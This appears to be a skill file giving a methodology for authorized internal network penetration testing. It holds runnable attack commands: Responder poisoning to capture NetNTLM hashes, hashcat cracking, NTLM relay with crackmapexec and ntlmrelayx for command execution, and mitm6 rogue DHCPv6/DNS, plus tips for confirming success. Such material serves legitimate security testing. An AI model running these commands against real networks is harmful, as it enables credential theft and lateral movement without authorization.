performing-internal-network-pentesting

name	performing-internal-network-pentesting
description	Methodology for internal network penetration testing from a foothold on the LAN, covering host discovery, port scanning, passive/active sniffing, MitM (ARP/DNS/ICMP/DHCPv6), and LLMNR/NBT-NS/mDNS poisoning with Responder plus relay attacks during authorized engagements.
domain	cybersecurity
subdomain	penetration-testing
tags	["penetration-testing","network-pentesting","host-discovery","llmnr-poisoning","mitm","ntlm-relay"]
version	1.0
author	xalgorix
license	Apache-2.0

Performing Internal Network Pentesting

When to Use

• When you have a foothold (drop box, VM, or compromised host) on an internal LAN
• At the start of an internal engagement to discover live hosts, open ports, and services
• When capturing credentials passively via broadcast/multicast name resolution poisoning
• When performing man-in-the-middle to intercept traffic on a switched segment
• When relaying captured NTLM authentication to reachable hosts for lateral movement

Critical: Techniques Most Often Missed

The highest-value internal technique is poisoning LLMNR/NBT-NS/mDNS — Windows hosts fall back to these unauthenticated broadcast protocols when DNS fails, leaking NetNTLM hashes. Many testers also forget to scan broadcast addresses and to disable SMB signing checks before relaying.

# 1. Poison LLMNR / NBT-NS / mDNS to capture NetNTLMv1/v2 hashes (#1 internal win)
responder -I eth0 -wv            # analyze first; then drop -A to actively poison
#   captured hashes land in /usr/share/responder/logs/ -> crack with hashcat -m 5600

# 2. Relay instead of crack: find hosts WITHOUT SMB signing, then relay auth to them
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt   # signing:False hosts
#   turn OFF Responder's SMB/HTTP servers (Responder.conf: SMB=Off, HTTP=Off) first
ntlmrelayx.py -tf targets.txt -smb2support -i      # relay -> SOCKS / command exec

# 3. Discover hosts on the broadcast domain you'd otherwise miss
ping -b 10.10.5.255              # subnet broadcast reaches every local host
nmap -sn <network>               # ARP sweep (same L2 = reliable host discovery)
nbtscan -r 192.168.0.1/24        # NetBIOS names

# 4. IPv6 is usually unmonitored — mitm6 + relay is devastating in AD
mitm6 -d domain.local            # rogue DHCPv6/DNS; pair with ntlmrelayx -6

How to CONFIRM: Responder logs a hash only when a victim actually queries a name it can't resolve — trigger it (or wait) and check responder -I eth0 console plus logs/. For relay, a successful run prints [*] Authenticating against smb://<target> SUCCEED and (with -i) opens a SOCKS-able session. Validate captured NetNTLMv2 with hashcat -m 5600.